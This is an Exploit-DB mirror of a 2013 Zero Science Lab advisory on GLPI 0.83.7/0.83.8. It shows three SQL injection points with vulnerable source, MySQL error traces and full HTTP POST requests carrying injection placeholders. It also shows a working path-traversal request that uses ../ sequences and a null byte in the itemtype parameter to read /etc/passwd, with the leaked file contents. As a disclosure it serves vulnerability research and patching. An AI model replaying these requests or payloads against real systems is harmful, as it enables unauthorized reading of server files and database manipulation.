GLPI 0.83.8 – Multiple Vulnerabilities

  • 作者: LiquidWorm
    日期: 2013-06-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26366/
  • 
    GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities
    
    
    Vendor: INDEPNET Development Team
    Product web page: http://www.glpi-project.org
    Affected version: 0.83.7 and 0.83.8
    
    Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
    (Free Management of Computer Equipment), was designed by Indepnet
    Association (a non profit organisation) in 2003. GLPI is a free
    asset and IT management software package, it also offers functionalities
    like servicedesk ITIL or license tracking and software auditing.
    
    Desc: Input passed via the POST parameter 'users_id_assign' in
    '/ajax/ticketassigninformation.php' script, POST parameter 'filename'
    in '/front/document.form.php' script, and POST parameter 'table' in
    'glpi/ajax/comments.php' script is not properly sanitised before
    being used in SQL queries. This can be exploited by a malicious
    attacker to manipulate SQL queries by injecting arbitrary SQL code
    in the affected application.
    
    
    ======================================================================
    /inc/db.function.php:
    ---------------------
    
    274: function countElementsInTable($table, $condition="") {
    275: global $DB;
    276:
    277: if (is_array($table)) {
    278: $table = implode('`,`',$table);
    279: }
    280:
    281: $query = "SELECT COUNT(*) AS cpt
    282: FROM `$table`";
    283:
    284: if (!empty($condition)) {
    285: $query .= " WHERE $condition ";
    286: }
    287:
    288: $result =$DB->query($query);
    289: $ligne= $DB->fetch_array($result);
    290: return $ligne['cpt'];
    291: }
    
    ----------------------------------------------------------------------
    
    *** MySQL query error :
    ***
    SQL: SELECT COUNT(*) AS cpt
    FROM `glpi_tickets`,`glpi_tickets_users` WHERE `glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id`
    AND `glpi_tickets_users`.`users_id` = \'2\'\'
    AND `glpi_tickets_users`.`type` = \'2\'
    AND `glpi_tickets`.`is_deleted` = 0
    AND `glpi_tickets`.`status`
    NOT IN (\'solved\', \'closed\')
    Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'
    AND `glpi_tickets`.`is_deleted` = 0
    ' at line 3
    Backtrace :
    /var/www/html/glpi/inc/db.function.php :288		DBmysql->query()
    /var/www/html/glpi/inc/commonitilobject.class.php :362		countElementsInTable()
    /var/www/html/glpi/ajax/ticketassigninformation.php :66		CommonITILObject->countActiveObjectsForTech()
    /var/www/html/glpi/ajax/ticketassigninformation.php
    
    
    ======================================================================
    /inc/document.class.php:
    ------------------------
    
    1221: static function isValidDoc($filename) {
    1222: global $DB;
    1223:
    1224: $splitter = explode(".",$filename);
    1225: $ext= end($splitter);
    1226:
    1227: $query="SELECT *
    1228: FROM `glpi_documenttypes`
    1229: WHERE `ext` LIKE '$ext'
    1230: AND `is_uploadable`='1'";
    1231:
    1232: if ($result = $DB->query($query)) {
    1233: if ($DB->numrows($result)>0) {
    1234: return Toolbox::strtoupper($ext);
    1235: }
    1236: }
    1237: return "";
    1238: }
    
    ----------------------------------------------------------------------
    
    *** MySQL query error :
    ***
    SQL: SELECT *
    FROM `glpi_documenttypes`
    WHERE `ext` LIKE \'1\'\'
    AND `is_uploadable`=\'1\'
    Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 3
    Backtrace :
    /var/www/html/glpi/inc/document.class.php :1232		DBmysql->query()
    /var/www/html/glpi/inc/document.class.php :1088		Document::isValidDoc()
    /var/www/html/glpi/inc/document.class.php :275		Document::uploadDocument()
    /var/www/html/glpi/inc/commondbtm.class.php :878		Document->prepareInputForUpdate()
    /var/www/html/glpi/front/document.form.php :99		CommonDBTM->update()
    /var/www/html/glpi/front/document.form.php
    
    
    ======================================================================
    /inc/dbmysql.class.php:
    -----------------------
    
    364: function list_tables($table="glpi_%") {
    365: return $this->query("SHOW TABLES LIKE '".$table."'");
    366: }
    
    ----------------------------------------------------------------------
    
    *** MySQL query error :
    ***
    SQL: SHOW TABLES LIKE \'%glpi_users\'%\'
    Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
    Backtrace :
    /var/www/html/glpi/glpi/inc\dbmysql.class.php :365		DBmysql->query()
    /var/www/html/glpi/inc/db.function.php :1182		DBmysql->list_tables()
    /var/www/html/glpi/ajax/comments.php :47		TableExists()
    /var/www/html/glpi/ajax/comments.php
    
    ======================================================================
    
    
    Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
     Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3
    
    
    
    Vulnerabilities discovered by Humberto Cabrera
    @dniz0r
    Zero Science Lab - http://www.zeroscience.mk
    
    
    Advisory ID: ZSL-2013-5145
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php
    
    
    09.05.2013
    
    ----------------
    {1}
    
    
    POST /glpi/ajax/ticketassigninformation.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: http://localhost/glpi/front/ticket.form.php
    Content-Length: 17
    Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    
    users_id_assign=2{SQL_Injection}
    
    
    ----------------
    {2}
    
    
    POST /glpi/front/document.form.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/glpi/front/document.form.php?id=4
    Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=---------------------------19302542618340
    Content-Length: 1699
    
    -----------------------------19302542618340
    Content-Disposition: form-data; name="entities_id"
    
    0
    -----------------------------19302542618340
    Content-Disposition: form-data; name="is_recursive"
    
    0
    -----------------------------19302542618340
    Content-Disposition: form-data; name="name"
    
    test
    -----------------------------19302542618340
    Content-Disposition: form-data; name="comment"
    
    test
    -----------------------------19302542618340
    Content-Disposition: form-data; name="current_filepath"
    
    
    -----------------------------19302542618340
    Content-Disposition: form-data; name="current_filename"
    
    
    -----------------------------19302542618340
    Content-Disposition: form-data; name="filename"; filename=1{SQL_Injection}
    Content-Type: application/octet-stream
    
    
    -----------------------------19302542618340
    Content-Disposition: form-data; name="upload_file"
    
    
    -----------------------------19302542618340
    Content-Disposition: form-data; name="link"
    
    test
    -----------------------------19302542618340
    Content-Disposition: form-data; name="documentcategories_id"
    
    0
    -----------------------------19302542618340
    Content-Disposition: form-data; name="mime"
    
    application/octet-stream
    -----------------------------19302542618340
    Content-Disposition: form-data; name="update"
    
    Update
    -----------------------------19302542618340
    Content-Disposition: form-data; name="_read_date_mod"
    
    2013-06-14 20:27:56
    -----------------------------19302542618340
    Content-Disposition: form-data; name="id"
    
    4
    -----------------------------19302542618340
    Content-Disposition: form-data; name="_glpi_csrf_token"
    
    f27853afa3e705b5042c0ae4d135679c
    -----------------------------19302542618340--
    
    
    ----------------
    {3}
    
    
    POST /glpi/ajax/comments.php HTTP/1.1
    Host: localhost
    Proxy-Connection: keep-alive
    Content-Length: 59
    Origin: http://localhost
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Accept: */*
    Referer: http://localhost/glpi/front/planning.php
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: en-US,en;q=0.8
    Cookie: PHPSESSID=frk5prfmarsc9ebo1u751skkb2
    
    value=5&table=glpi_users{SQL Injection}&withlink=comment_link_uID302668907
    
    
    ----------------
    
    #################################################################################################################
    
    
    GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit
    
    
    Vendor: INDEPNET Development Team
    Product web page: http://www.glpi-project.org
    Affected version: 0.83.7
    
    Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
    (Free Management of Computer Equipment), was designed by Indepnet
    Association (a non profit organisation) in 2003. GLPI is a free
    asset and IT management software package, it also offers functionalities
    like servicedesk ITIL or license tracking and software auditing.
    
    Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input
    passed thru the 'filetype' parameter to 'common.tabs.php' script is not
    properly verified before being used to include files. This can be exploited
    to include files from local resources with directory traversal attacks
    and URL encoded NULL bytes.
    
    ========================================================================
    /ajax/common.tabs.php:
    ----------------------
    
    46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) {
    47: exit();
    62: $item = new $_REQUEST['itemtype'])();
    
    ========================================================================
    
    
    Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
     Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3
    
    
    
    Vulnerabilities discovered by Humberto Cabrera
    @dniz0r
    Zero Science Lab - http://www.zeroscience.mk
    
    
    Advisory ID: ZSL-2013-5145
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php
    
    
    09.05.2013
    
    ---
    
    
    POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: http://localhost/glpi/front/user.form.php?id=2
    Content-Length: 75
    Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    
    target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2
    
    ---
    
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    ..
    ..